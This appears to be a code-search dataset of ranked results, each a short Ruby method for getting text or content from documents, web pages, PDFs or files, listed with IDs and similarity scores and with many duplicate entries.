[ { "docid": "03eecb385e476e9c75e50acb68fbfe06", "score": "0.6966496", "text": "def text page\n (get_wikitext page).body\n end", "title": "" }, { "docid": "b3505163beacf650ef37fc716b585ea2", "score": "0.67695874", "text": "def document_content\n self.document.content\n end", "title": "" }, { "docid": "fc03158f23498c70e52845c57c125129", "score": "0.67631537", "text": "def get_text_content\n # Interface method\n end", "title": "" }, { "docid": "fcec3699d524650ebaaa881bb8b56f36", "score": "0.6667546", "text": "def get_document_text\n self.game.document\n end", "title": "" }, { "docid": "049a6c2ff8f679eb5fe1355b7ac90877", "score": "0.6611005", "text": "def text\n article_text.text\n end", "title": "" }, { "docid": "ca80c188c8919d49ae29d344c589b9ce", "score": "0.65801513", "text": "def content\n @text.text\n end", "title": "" }, { "docid": "89ff392fd87df8ad8a16af2b53319e78", "score": "0.6480977", "text": "def as_text\n @document\n end", "title": "" }, { "docid": "91263aeafb29439f3f20abd34f4116f4", "score": "0.6454206", "text": "def extract_text\n @doc.get_value\n end", "title": "" }, { "docid": "0a129a5aca719b29fe4598b3a957177a", "score": "0.6450977", "text": "def get_text\n @text = @title + @doc.text.gsub('\\n', ' ').gsub('\"', '\\\"')\n if @text\n true\n end\n end", "title": "" }, { "docid": "e9af979e2d596e0ba98d1ff2e5133e7d", "score": "0.64330846", "text": "def text_document\n attributes.fetch(:textDocument)\n end", "title": "" }, { "docid": "e9af979e2d596e0ba98d1ff2e5133e7d", "score": "0.64330846", "text": "def text_document\n attributes.fetch(:textDocument)\n end", "title": "" }, { "docid": "e9af979e2d596e0ba98d1ff2e5133e7d", "score": "0.64330846", "text": "def text_document\n attributes.fetch(:textDocument)\n end", "title": "" }, { "docid": "e9af979e2d596e0ba98d1ff2e5133e7d", "score": "0.64330846", "text": "def text_document\n attributes.fetch(:textDocument)\n end", "title": "" }, { "docid": "e9af979e2d596e0ba98d1ff2e5133e7d", "score": "0.64330846", "text": "def text_document\n attributes.fetch(:textDocument)\n end", "title": "" }, { "docid": "e9af979e2d596e0ba98d1ff2e5133e7d", "score": "0.64330846", "text": "def text_document\n attributes.fetch(:textDocument)\n end", "title": "" }, { "docid": "94252b9e40cb120cf3e1042678146a52", "score": "0.6432907", "text": "def contents\n contents = document.contents\n raise 'Medication content missing' unless contents\n contents\n end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "28f5f7c46d60384b8f3186b636ce152d", "score": "0.64154875", "text": "def text_document; end", "title": "" }, { "docid": "469f33ba13ad31cfc4bfa2d0d8984494", "score": "0.63818556", "text": "def as_text\n @document.as_text\n end", "title": "" }, { "docid": "d506fa7a8f9812d565b608daa6c12cb7", "score": "0.6312868", "text": "def get_text\n end", "title": "" }, { "docid": "d506fa7a8f9812d565b608daa6c12cb7", "score": "0.6312868", "text": "def get_text\n end", "title": "" }, { "docid": "db45df25b8a0f5c17745fa601e8f44bb", "score": "0.6279574", "text": "def text\n # get the url\n uri = params['article_url']\n\n # extract the title and text of the article in basic markdown formatting\n markdown_title = Textract.get_text(uri).title\n markdown_text = Textract.get_text(uri).text\n\n # convert the markdown to HTML\n markdown_parser = Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, tables: true)\n @title = markdown_parser.render(markdown_title)\n @text = markdown_parser.render(markdown_text)\n @url = uri\n end", "title": "" }, { "docid": "cf4afc3fd50bcc9f493588f42a90ad01", "score": "0.626756", "text": "def text\n text = find_part(\"text/plain\")\n text ? text.body : \"\"\n end", "title": "" }, { "docid": "0a2985db95cd0f7b819d192e7a01ace0", "score": "0.6267081", "text": "def getText\n parseResource\n formatText\n return @story\n end", "title": "" }, { "docid": "0472e6fba8069abce8434a3b9d5a96d9", "score": "0.62633234", "text": "def get_doc(url)\n Hpricot(HttpResource.new(url).contents)\n end", "title": "" }, { "docid": "dbca4325289b2da0284f414e5ab42aeb", "score": "0.62424", "text": "def retrieve_text(url)\n # Net::HTTP is terribly broken w/rt encoding\n text = Net::HTTP.get(URI(url))\n # in case we get a nil response or something odd, only force encoding if\n # this is an object that will take it\n text.respond_to?(:force_encoding) ? text.force_encoding(Encoding::UTF_8) : text\n end", "title": "" }, { "docid": "7b245e2ff9896125e028cb482f9b08de", "score": "0.620922", "text": "def text\n textContent\n end", "title": "" }, { "docid": "68ac153e1dffec2f4643e81b671f8fc0", "score": "0.62051886", "text": "def get\n return @text\n end", "title": "" }, { "docid": "fd2fa4ca5a6f36e56176aa5754265e76", "score": "0.62049174", "text": "def preview_text\n text = \"\"\n begin\n my_contents = my_description[\"contents\"]\n unless my_contents.blank?\n content_flagged_as_preview = my_contents.select{ |a| a[\"take_me_for_preview\"] }.first\n if content_flagged_as_preview.blank?\n content_to_take_as_preview = my_contents.first\n else\n content_to_take_as_preview = content_flagged_as_preview\n end\n preview_content = self.contents.select{ |content| content.name == content_to_take_as_preview[\"name\"] }.first\n unless preview_content.blank?\n if preview_content.essence_type == \"EssenceRichtext\"\n text = preview_content.essence.stripped_body.to_s\n elsif preview_content.essence_type == \"EssenceText\"\n text = preview_content.essence.body.to_s\n elsif preview_content.essence_type == \"EssencePicture\"\n text = (preview_content.essence.picture.name rescue \"\")\n elsif preview_content.essence_type == \"EssenceFile\" || preview_content.essence_type == \"EssenceFlash\" || preview_content.essence_type == \"EssenceFlashvideo\"\n text = (preview_content.essence.file.name rescue \"\")\n else\n text = \"\"\n end\n else\n text = \"\"\n end\n end\n rescue\n logger.error(\"#{$!}\\n#{$@.join('\\n')}\")\n text = \"\"\n end\n text.size > 30 ? text = (text[0..30] + \"...\") : text\n text\n end", "title": "" }, { "docid": "1ccc349b343d5e0fd3617c540ed80ffe", "score": "0.6197933", "text": "def getDocText(paths)\n text = \"\"\n paths.each do |p|\n text += p+\": \\n\" if paths.length > 1\n begin\n text += File.read(\"../text/\"+p.gsub(\".pdf\", \".txt\").gsub(\".jpg\", \".txt\").gsub(\".png\", \".txt\").gsub(\".jpeg\", \".txt\").gsub(\".gif\", \".txt\"))\n rescue\n end\n end \n\n return text\n end", "title": "" }, { "docid": "13725b0484a0a946ee690f5d448bdc7c", "score": "0.6193474", "text": "def text(params, options = {})\n path = \"#{base_uri(params)}/text\"\n request(path, options).if_404_raise(Neutrino::Gateway::Exceptions::PatientDocumentTextNotFoundError)\n .to_s\n end", "title": "" }, { "docid": "70079e5045da8512a67a22ab66a158db", "score": "0.6190711", "text": "def body\n # url for link / body for note\n object.contentable.to_s rescue ''\n end", "title": "" }, { "docid": "d65b4983e131d1019259bc6c3136754f", "score": "0.6179747", "text": "def text\n textual? ? url[7..-1] : nil\n end", "title": "" }, { "docid": "dc54a82000b8e95e896dccb6c8b02036", "score": "0.61670923", "text": "def text\n body.text\n end", "title": "" }, { "docid": "482c66809719a507c9bff3dbe6b06d33", "score": "0.6134682", "text": "def full_text\n path = URI(content_url).path.split('/').last\n path = path.nil? ? \"\" : path.split('.').first\n\n full_text = \"#{path.to_s} #{title.to_s} #{extracted_text.to_s}\"\n full_text.downcase!\n end", "title": "" }, { "docid": "23a8519e9d3252a0aad4ff63d59f73c4", "score": "0.6128247", "text": "def text\n\t if(multipart?)\n\t body.text\n\t else\n\t body\n\t end\n\tend", "title": "" }, { "docid": "85e50e4d1411028ab977180b49164fc0", "score": "0.61239535", "text": "def text_wikimedia_html page\n (action :parse, page: page, token_type: false).data[\"text\"][\"*\"]\n end", "title": "" }, { "docid": "eb8693e718f472779f1c25b727373db8", "score": "0.6122367", "text": "def get_text(path_to_file)\n File.read(path_to_file)\nend", "title": "" }, { "docid": "2d5d79a12b3558a9eb425d47ab352cd4", "score": "0.6118934", "text": "def full_text\n @text\n end", "title": "" }, { "docid": "d397d532e2c968e6ea0f872d73d0d9bf", "score": "0.6101014", "text": "def get_text(url, pdf_path)\n begin\n text = File.read(\"../text/\"+pdf_path.gsub(\".pdf\", \".txt\")).to_s\n \n # Extract from website if it isn't there already\n rescue\n begin\n# Headless.ly do\n text = \"\"\n # profile = Selenium::WebDriver::Firefox::Profile.new\n # profile['intl.accept_languages'] = 'en'\n # browser = Selenium::WebDriver.for :firefox, profile: profile\n @browser.navigate.to url\n puts \"Getting \"+ url\n # Extract text\n sleep(1)\n @browser.find_element(:css, \".SidTodayFilesDetailViewer-navigation-display-text\").click\n html = Nokogiri::HTML(@browser.page_source)\n paragraphs = html.css(\".SidTodayFilesDetailViewer-pages-page-paragraph\")\n text = paragraphs.to_s\n \n # Close and return\n # browser.quit\n # end\n File.write(\"../text/\"+pdf_path.gsub(\".pdf\", \".txt\"), text)\n rescue\n end\n end\n\n return text.gsub(\"<p data-reactid=\\\".ti.1.0.0.1.0.1.$0.0\\\" class=\\\"SidTodayFilesDetailViewer-pages-page-paragraph\\\">\", \"\")\n end", "title": "" }, { "docid": "ee8575498af98282d4fbde6ab9995f41", "score": "0.60846376", "text": "def get_doc(url_text)\n url = URI.parse(url_text)\n p url\n req = Net::HTTP::Get.new(url_text)\n\n puts \"Fetching #{url_text}\"\n\n res = Net::HTTP.new(url.host, url.port).start do |http|\n http.request(req)\n end\n\n res.body\nend", "title": "" }, { "docid": "ee8575498af98282d4fbde6ab9995f41", "score": "0.60846376", "text": "def get_doc(url_text)\n url = URI.parse(url_text)\n p url\n req = Net::HTTP::Get.new(url_text)\n\n puts \"Fetching #{url_text}\"\n\n res = Net::HTTP.new(url.host, url.port).start do |http|\n http.request(req)\n end\n\n res.body\nend", "title": "" }, { "docid": "e2e0a903e9bec31f94f5b6315c923e56", "score": "0.6080728", "text": "def getText\n return @text\n end", "title": "" }, { "docid": "5079c7cd5cbe36073bba73adbd472f40", "score": "0.60778713", "text": "def get_text\n Net::HTTP.get(URI('http://' + url.gsub(/http:\\/\\//,''))).downcase.split(//)#gsub(/[[:[punct]:]:]/, ' ').downcase.gsub(/\\s+/, @@end_token).split(//)\n end", "title": "" }, { "docid": "1180b07cd7343639a215f24246461664", "score": "0.60485524", "text": "def get_doc_contents(url, format: nil)\n parts = self.class.parse_url(url)\n case parts['type']\n when 'spreadsheets'\n filename = export_to_file(parts['id'], :xlsx)\n ret = prepare_spreadsheet(filename)\n File.unlink(filename)\n when 'document'\n ret = export(parts['id'], format || :html)\n else\n ret = export(parts['id'], format || :txt)\n end\n ret\n end", "title": "" }, { "docid": "d99e1b3746a2dd5113bc37d3c3a0296d", "score": "0.6039508", "text": "def text\n return @text if defined? @text\n\n @text = Yomu.read :text, data\n end", "title": "" }, { "docid": "940f6b68a00e1070e21e5dede8eca6b1", "score": "0.6025182", "text": "def get_user_document_content(user)\n doc = Document.where(\"documents.task_id = ? and documents.user_id = ?\",self.id,user.id).first \n if doc\n return doc.content\n else\n return \"No Content\"\n end\n end", "title": "" }, { "docid": "40c65ca7604040fffa0fd7f693636300", "score": "0.6023411", "text": "def text\n @text = Myfile.ferret_index[self.document_number][:text] if @text.blank?\n end", "title": "" }, { "docid": "67191336e3392689abcdd5de479df71b", "score": "0.60189533", "text": "def getText\n return @text\n end", "title": "" }, { "docid": "8f21e54935e5c491b01cf14dedc7900b", "score": "0.6010368", "text": "def content\n @doc.to_s\n end", "title": "" }, { "docid": "9c7d31bb862cf7bc125bc2949b8ea63e", "score": "0.6003232", "text": "def rawtext\n @text\n end", "title": "" }, { "docid": "c9a02e578c85c2ae05d7f2fdbf2284b1", "score": "0.5990485", "text": "def text\n p = @version == nil ? lastest_page : page\n p.raw_data\n end", "title": "" }, { "docid": "f44cdda70debfaa2c7dc0898bf5218c1", "score": "0.5942285", "text": "def text\n return @tb.toPlainText\n end", "title": "" }, { "docid": "306f2440d35229ae23f4e578614d3b9d", "score": "0.5933024", "text": "def ext_text(file_id, text_id)\r\n GameData::Text.get_external(file_id, text_id)\r\n end", "title": "" }, { "docid": "821764d8d8cdfa20149f37d977719889", "score": "0.59217566", "text": "def contents\n unless @contents\n @contents = user_body if html_source\n @contents = he_decode @contents.strip if @contents\n end\n \n @contents\n end", "title": "" }, { "docid": "8124cbfa51cf5a614fa980bc6475ea0c", "score": "0.5912027", "text": "def fetch_text(article_url)\n\t\trequire 'open-uri'\n\t\ttrigger = false\n\t\ttext = \"\"\n\t\tfile = open(article_url)\n\t\tcontents = file.readlines\n\t\tcontents.each do |line| \n\t\t\tif trigger\n\t\t\t\tif line.include? \"<\\/div>\"\n\t\t\t\t\ttext = text + line.gsub(\"<\\/div>\", \"\")\n\t\t\t\t\ttrigger = false\n\t\t\t\tend\n\t\t\t\ttext = text + line\n\t\t\telsif line.include? \"<div class=\\\"lead\\\">\"\n\t\t\t\ttrigger = true\n\t\t\t\ttext = text + line.gsub(\"<div class=\\\"lead\\\">\", \"\")\n\t\t\telsif line.include? \"<div class=\\\"text__content\\\">\"\n\t\t\t\ttrigger = true\n\t\t\t\ttext = text + line.gsub(\"<div class=\\\"lead\\\">\", \"\")\n\t\t\tend\n\t\tend\n\t\treturn text\n\tend", "title": "" }, { "docid": "5e5772a8240c5f6f51c946f5a96ec869", "score": "0.5894869", "text": "def getText\n @text\n end", "title": "" }, { "docid": "5e5772a8240c5f6f51c946f5a96ec869", "score": "0.5894869", "text": "def getText\n @text\n end", "title": "" }, { "docid": "97f546264b36459a49320338e3fb94e1", "score": "0.5884897", "text": "def text\n self.retrieve_file if @local_path.nil?\n @text ||= `pdftotext #{@local_path} -`\n end", "title": "" }, { "docid": "8237d39e1c2947bc0826b8750f783f67", "score": "0.58778745", "text": "def content\n return '' if @wikitext.blank?\n wikitext = @wikitext.lines.drop(1).join # First line is the title\n wikitext[0] = '' while wikitext[0] == \"\\n\" # Remove leading newlines\n markdown = Wikitext.mediawiki_to_markdown(wikitext)\n # Make sure first line after a figure gets parsed as a new paragraph\n markdown.gsub(\"figure>\\n\", \"figure>\\n\\n\")\n end", "title": "" }, { "docid": "7e13986d3a71021d2d9f793b62541d5f", "score": "0.5874673", "text": "def get_content(document, xpath)\n document.find(xpath).first.content\n end", "title": "" }, { "docid": "ca44eb04dfce1decf494586f207b3190", "score": "0.587423", "text": "def link_by_href_get_text(link_href)\n return link_by_href(link_href).text\nend", "title": "" }, { "docid": "c67005ac8422abee39883031e04bdee5", "score": "0.58699834", "text": "def text_get(file_id, text_id)\r\n GameData::Text.get(file_id, text_id)\r\n end", "title": "" }, { "docid": "db70ad69a91397ac496a666f654edfb3", "score": "0.5864072", "text": "def text\n return @text\n end", "title": "" }, { "docid": "db70ad69a91397ac496a666f654edfb3", "score": "0.5864072", "text": "def text\n return @text\n end", "title": "" }, { "docid": "db70ad69a91397ac496a666f654edfb3", "score": "0.5864072", "text": "def text\n return @text\n end", "title": "" }, { "docid": "db70ad69a91397ac496a666f654edfb3", "score": "0.5864072", "text": "def text\n return @text\n end", "title": "" }, { "docid": "db70ad69a91397ac496a666f654edfb3", "score": "0.5864072", "text": "def text\n return @text\n end", "title": "" }, { "docid": "54dfbe72aaa0e99632524d9dcd03e43a", "score": "0.58503664", "text": "def getEmailContent(doc)\n return (doc.css('div#doc-description')[0]).content\nend", "title": "" }, { "docid": "e8a66da0522c9c3b182c3012092b3d4a", "score": "0.5846046", "text": "def get_text page_number = 0\n begin\n \n if @filename == ''\n raise 'filename not specified'\n end\n \n if page_number > 0\n str_uri = $product_uri + '/pdf/' + @filename + '/pages/' + page_number.to_s + '/textitems'\n else\n str_uri = $product_uri + '/pdf/' + @filename + '/textitems';\n end\n \n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri) \n response_stream = RestClient.get(str_signed_uri, {:accept=>'application/json'}) \n \n stream_hash = JSON.parse(response_stream)\n output_text = ''\n stream_hash['TextItems']['List'].each { |item| output_text.concat(item['Text']) }\n \n return output_text \n \n rescue Exception=>e\n print e\n end\n end", "title": "" }, { "docid": "91c18cf78debb7bf5b62d3512218ad27", "score": "0.5838464", "text": "def text_content\n Content.that_are_publishable.by_otu(self).inject({}){|hash, c| hash.update(c.content_type_id => c)} # note there shouldn't be 2 private contents of the same type for the same OTU, if there is \"bad things\"\n end", "title": "" }, { "docid": "df1a4689ef59e8c193f61deac26a89d4", "score": "0.5833702", "text": "def get_document\n @bookalope.http_get(@url + '/files/document')\n end", "title": "" }, { "docid": "c408ab7091d33839a0df57c540305d92", "score": "0.58298117", "text": "def contents\n #if result = /\\_\\([\\\"\\']?([^\\'\\\"]*)[\\\"\\']?.*\\)/.match(@text)\n \n #if result = /\\_\\(([\\']?([^\\']*)[\\'])|([\\\"]?([^\\\"]*)[\\\"])?.*\\)/.match(@text)\n single_quotes = /\\_\\(\\'([^']*)\\'.*\\)/.match(@text)\n double_quotes = /\\_\\(\\\"([^\"]*)\\\".*\\)/.match(@text)\n \n if single_quotes\n return single_quotes[1]\n elsif double_quotes\n return double_quotes[1]\n else\n return nil\n end\n end", "title": "" }, { "docid": "3e1e8c080fa14e55b0662c8afea3269c", "score": "0.5828871", "text": "def extract_text(document, path)\n node = REXML::XPath.first(document, path)\n node ? node.text.strip : nil\n end", "title": "" }, { "docid": "9dc2bc1a4b8fca7d89ae9214109b7321", "score": "0.5826381", "text": "def text\n @text\n end", "title": "" }, { "docid": "9dc2bc1a4b8fca7d89ae9214109b7321", "score": "0.5826381", "text": "def text\n @text\n end", "title": "" }, { "docid": "24c848af4dec8100c094204946b1b21b", "score": "0.5821378", "text": "def text\n @body\n end", "title": "" }, { "docid": "45c55fce120af166a27a6b6b2a9a669f", "score": "0.58120924", "text": "def inspect\n \"<WordToMarkdown path=\\\"#{@document.path}\\\">\"\n end", "title": "" }, { "docid": "45c55fce120af166a27a6b6b2a9a669f", "score": "0.58120924", "text": "def inspect\n \"<WordToMarkdown path=\\\"#{@document.path}\\\">\"\n end", "title": "" }, { "docid": "45c55fce120af166a27a6b6b2a9a669f", "score": "0.58120924", "text": "def inspect\n \"<WordToMarkdown path=\\\"#{@document.path}\\\">\"\n end", "title": "" }, { "docid": "595e01b25d8aa50c063a1cab488e1e5d", "score": "0.5811291", "text": "def text\n @text || Myfile.aaf_index.ferret_index[self.document_number][:text]\n end", "title": "" }, { "docid": "7ce08490f5cc8e9a994a81f771b73298", "score": "0.5810817", "text": "def get_body_text()\n return get_string(\"getBodyText\", [])\n end", "title": "" }, { "docid": "58311de381e4e102ef20f53cc20e34d5", "score": "0.5808576", "text": "def get_doc_file_content_as_html file_path\n return \"\" if file_path.blank?\n result = \"\"\n location = file_path.split('/')[0..-2].join('/')\n html_name = file_path.split('/').last.split('.')[0] + '_converted.html' \n\n begin\n word_cleaner_folder = Rails.root.to_s.split('/')[0..-2].join('/') + \"/tools/WordCleaner7ComponentMono\"\n #cmd_str = \"mono #{word_cleaner_folder}/WordCleaner7ComponentMono.exe /t '#{word_cleaner_folder}/Templates/Convert\\ to\\ HTML\\ embed\\ images.wc' /f #{file_path} /o #{location} /of #{html_name}\"\n cmd_str = \"mono #{word_cleaner_folder}/WordCleaner7ComponentMono.exe /t '#{word_cleaner_folder}/Templates/swtk.wc' /f #{file_path} /o #{location} /of #{html_name}\"\n #exec cmd_str\n #if not use popen, rails app will be interrupted\n p cmd_str\n IO.popen(cmd_str){|f| f.gets}\n rescue Exception => ex\n p ex.message\n end\n arr = IO.readlines(location + '/' + html_name)\n result = arr.join('')\n return result\n end", "title": "" }, { "docid": "bb5bcedccd4e131025639418ff9066a3", "score": "0.5806937", "text": "def render_refworks_texts(documents)\n val = ''\n documents.each do |doc|\n if doc.exports_as? :refworks_marc_txt\n val += doc.export_as(:refworks_marc_txt) + \"\\n\"\n end\n end\n val\n end", "title": "" }, { "docid": "88f28e3da2733d5f9ced521d536d3e6a", "score": "0.5802959", "text": "def description\n LinkPreview::ExternalDescription.new(document)\n end", "title": "" }, { "docid": "4622bcf5cc044f5f223e4288df097d85", "score": "0.5802162", "text": "def text\n @text\n end", "title": "" }, { "docid": "6db16f67765c9666146390535c41b81d", "score": "0.58014035", "text": "def text\n return @text unless @text.nil?\n if root?\n @text = false\n elsif exists? || content.present?\n extract_front_matter\n else\n @text = ''\n end\n text\n end", "title": "" }, { "docid": "a98194a47788fb49d8f2ee85a8a7203e", "score": "0.5792776", "text": "def document_for_lesson_editor\n get_documents(1)\n end", "title": "" }, { "docid": "4da891cc82e8c874ea5236450a0d29c6", "score": "0.5784905", "text": "def media_text\n if @media_text.nil?\n @media_text = FeedTools::XmlHelper.try_xpaths(self.root_node, [\n \"media:text/text()\"\n ], :select_result_value => true)\n unless @media_text.blank?\n @media_text = FeedTools::HtmlHelper.unescape_entities(@media_text)\n @media_text = FeedTools::HtmlHelper.sanitize_html(@media_text)\n @media_text.strip!\n else\n @media_text = nil\n end\n end\n return @media_text\n end", "title": "" } ]
91faeb25f07e0ae0deff450a4ff4f8ec
Sort tours, applying any extra relational algebra
[ { "docid": "4aa38032bfce2ff0e549d9b9102783c8", "score": "0.7093252", "text": "def sort_tours(params, alg)\n @filters = Tour::FILTERS\n if params[:sort] && @filters.collect{|f| f[:scope]}.include?(params[:sort])\n @tours = Tour.unscoped{ Tour.where(alg).send(params[:sort]) }\n else\n @tours = Tour.where(alg)\n end\n end", "title": "" } ]
[ { "docid": "df8ebbc1c591323cd85c50328186462e", "score": "0.64964026", "text": "def sort_array", "title": "" }, { "docid": "2363161df98d01a39ea8d448d0d94311", "score": "0.64837384", "text": "def sort!\n # define sorting heuristics in a subclass\n end", "title": "" }, { "docid": "854634415dc67e9a225f6f9148de1742", "score": "0.64693975", "text": "def ordered_topologically\n PostSort.new(self)\n end", "title": "" }, { "docid": "b0b212c1d5230a9b8d9562c050ef7d4f", "score": "0.6446909", "text": "def sort!\n # no op\n end", "title": "" }, { "docid": "365d638fa6653c5711dca4f960281d8d", "score": "0.6429501", "text": "def prio_sort(elements); end", "title": "" }, { "docid": "61538ec7329ee5524e097fdf0d9a157a", "score": "0.63454485", "text": "def topological_sort(vertices)\n kahn_sort(vertices)\n # tarjan_sort(vertices)\nend", "title": "" }, { "docid": "77f7d0e9c0de6dc934c0adc52864a665", "score": "0.627875", "text": "def secondary_sort\n # This function is empty as it's a placeholder for custom code...\n end", "title": "" }, { "docid": "166b7592dfef6d725d4f13a5ce6ee808", "score": "0.6274579", "text": "def topological_sort(vertices)\n khans_algo(vertices)\n # tarjans_algo(vertices)\nend", "title": "" }, { "docid": "c9d3e8a8160f8fcce42ae61c54ad66af", "score": "0.6267887", "text": "def sort_direction\n end", "title": "" }, { "docid": "ace49f28f3a55ba16435962358f33038", "score": "0.623714", "text": "def sort\n build(ast.sort)\n end", "title": "" }, { "docid": "c642a68fb1cf67e28ee931c0a4c1ee76", "score": "0.6233476", "text": "def tsort(&block)\n dup.tsort!(&block)\n end", "title": "" }, { "docid": "b66eefef3423b43e3a85240c573376d9", "score": "0.6224169", "text": "def sort_entries; end", "title": "" }, { "docid": "b22b3546c20a91573ef3c2c8c18b3a0f", "score": "0.6207705", "text": "def main_sort_running_order; end", "title": "" }, { "docid": "8f26dd2635c1eb29aca80bc1bd5bd467", "score": "0.6207642", "text": "def sort_method; end", "title": "" }, { "docid": "3a19ceba7cdcb752bb2cba11e625d9c2", "score": "0.6201847", "text": "def sort_by\n end", "title": "" }, { "docid": "ca6c4c1adf18638ebbcfa503a8d244e0", "score": "0.6195187", "text": "def sort_order\n lft\n end", "title": "" }, { "docid": "09862bdda95b1c2a44ab8c0a9c180ec6", "score": "0.6189906", "text": "def topological_sort(vertices)\n\t\nend", "title": "" }, { "docid": "243cbff41af2e8b70a22edd3981bc149", "score": "0.61828", "text": "def sort(a)\n case a[0]\n when PATTERNS['ant']; sort_ants(a)\n when PATTERNS['antpol']; sort_antpols(a)\n when PATTERNS['sta']; sort_stas(a)\n when PATTERNS['stapol']; sort_stapols(a)\n else\n a.sort\n end\n end", "title": "" }, { "docid": "b0ad8843a67e537d40fa8674ecfb0214", "score": "0.6162505", "text": "def sort()\n begin\n sorted = @hgraph.tsort\n rescue TSort::Cyclic => ex\n $stderr.print ex, \" due to cyclic input data\\n\"\n sorted = []\n end\n\n # tsort does a depth first search, so reverse the sorted output\n return sorted.reverse\n end", "title": "" }, { "docid": "a5a10ec60bac02a4da2b29e7685e093d", "score": "0.6154799", "text": "def sort\n markers = @pointers.keys.product(['not visited']).to_h\n sorted = []\n visit(markers.keys[0], sorted, markers) until markers.empty?\n sorted.reverse\n end", "title": "" }, { "docid": "7cf7ee9455e9abb3b0b46e91ea294c0b", "score": "0.6150238", "text": "def sort_parts!; end", "title": "" }, { "docid": "07d58b3270edfc19edb1f8637a0733ff", "score": "0.61417043", "text": "def sort_results(relation, *sorts)\n sorts.each do |sort|\n order = (sort =~ /^\\-/ ? 'DESC' : 'ASC')\n field = sort.sub(/^-/, '')\n if relation.has_attribute?(field)\n relation = relation.order(\"#{ field } #{ order }\")\n end\n end\n\n relation\n end", "title": "" }, { "docid": "5c6584c38506f22a65f21fb5e6b3f852", "score": "0.6117306", "text": "def hs_sort_alls()\n\t$alls.each { |k, v|\n\t\tresult = v.sort {|left, right| (@items[left])[:created] <=> (@items[right])[:created]}\n\t\tv = result\n\t}\nend", "title": "" }, { "docid": "5c710d6e77021b12e2316e692a119128", "score": "0.61015147", "text": "def sort\n super.defer\n end", "title": "" }, { "docid": "73f9030c79dc3323eea7fae6373c4caa", "score": "0.6100056", "text": "def topological_sort(vertices)\n return kahns_algorithm(vertices)\n #return tarjans_algorithm(vertices)\nend", "title": "" }, { "docid": "8dd7e0cf8400adc9b5398d26c775e9a3", "score": "0.6099184", "text": "def topological_sort(vertices)\nend", "title": "" }, { "docid": "32400602468410bf537c34fba0a5721e", "score": "0.6069413", "text": "def sort(from)\n #int i;\n #int bs; /* best score */\n #int bi; /* best i */\n #gen_t g;\n\n bs = -1\n bi = from\n \n i = from\n while (i < @first_move[@ply + 1])\n if (gen_dat[i].score > bs)\n bs = @gen_dat[i].score;\n bi = i;\n end\n i += 1\n end\n \n g = @gen_dat[from];\n @gen_dat[from] = @gen_dat[bi];\n @gen_dat[bi] = g;\n end", "title": "" }, { "docid": "23cf9cb4a6d6b057cdbaf2c3699d61e4", "score": "0.6067713", "text": "def sort\n fold_subtasks\n if @options[:reverse]\n @data.sort! { |a,b| a[1] <=> b[1] }\n else\n @data.sort! { |a,b| b[1] <=> a[1] }\n end\n unfold_subtasks\n end", "title": "" }, { "docid": "a551bd43997e4d7561ae3bc85805ccef", "score": "0.6064471", "text": "def sort!\n @number_of_trips.sort!{|p1, p2| p1.trip_distance <=> p2.trip_distance}\n end", "title": "" }, { "docid": "9c8c16716f89ed1156cb2b933a28faa3", "score": "0.60579085", "text": "def topological_sort(vertices)\n \nend", "title": "" }, { "docid": "6448354b8242537529bf05b3e8d5575b", "score": "0.6055144", "text": "def tsort\n visited, traversed, stack, dir = {}, {}, [], DIRECTION[:out]\n\n dfs = lambda do |v|\n if visited.has_key? v\n if traversed.has_key? v\n next\n else\n # We are revisiting a node that is currently being traversed.\n raise CyclicDependencyError, '%s <-> %s' % [v, table[v][dir].find(v).first]\n end\n end\n visited[v] = true\n table[v][dir].each { |e| dfs.call e }\n traversed[v] = true\n stack.push v\n end\n\n table.each_key { |id| dfs.call id }\n stack.reverse\n end", "title": "" }, { "docid": "a2404a736a3254c139b07c829c485ef8", "score": "0.6048561", "text": "def sorted\n relation.sort\n end", "title": "" }, { "docid": "572e7c873034f974064fffae36806555", "score": "0.6025406", "text": "def multi_direction_sort(parameters)\n Parliament::NTriple::Utils.multi_direction_sort(\n {\n list: @nodes,\n parameters: parameters\n }\n )\n end", "title": "" }, { "docid": "780f6c8c05ce30054634c90b4e0f1f9d", "score": "0.6002092", "text": "def set_sorting!\n return unless faceted || collected || options[:sort_column].present?\n \n unless sort_values.include?(options[:sort_column])\n options[:sort_column] = 'revised_at'\n end\n \n options[:sort_direction] ||= sort_direction(options[:sort_column]).downcase\n options[:sort_direction] = \"desc\" unless options[:sort_direction] == \"asc\"\n end", "title": "" }, { "docid": "c310e6276707c6ac97655ef3661ebcb0", "score": "0.6000379", "text": "def sortData\n @movies.each { |movie| movie.filtered_subtitles.sortUsingDescriptors(@outline.sortDescriptors) }\n @movies.sortUsingDescriptors(@outline.sortDescriptors)\n end", "title": "" }, { "docid": "cc0f72c62f3e643e5059a089a9a9d504", "score": "0.5995523", "text": "def sort(drops)\n drops.sort_by(&:first)\nend", "title": "" }, { "docid": "9f1a04d8b57053ecc1bf1cddcb170ce8", "score": "0.59951985", "text": "def sorted_pours\n self.pours.sort_by {|pour| pour.created_at}\n end", "title": "" }, { "docid": "bd91c5144eb45e67a1a3648de1e5f34e", "score": "0.59948426", "text": "def insertion_sort\n end", "title": "" }, { 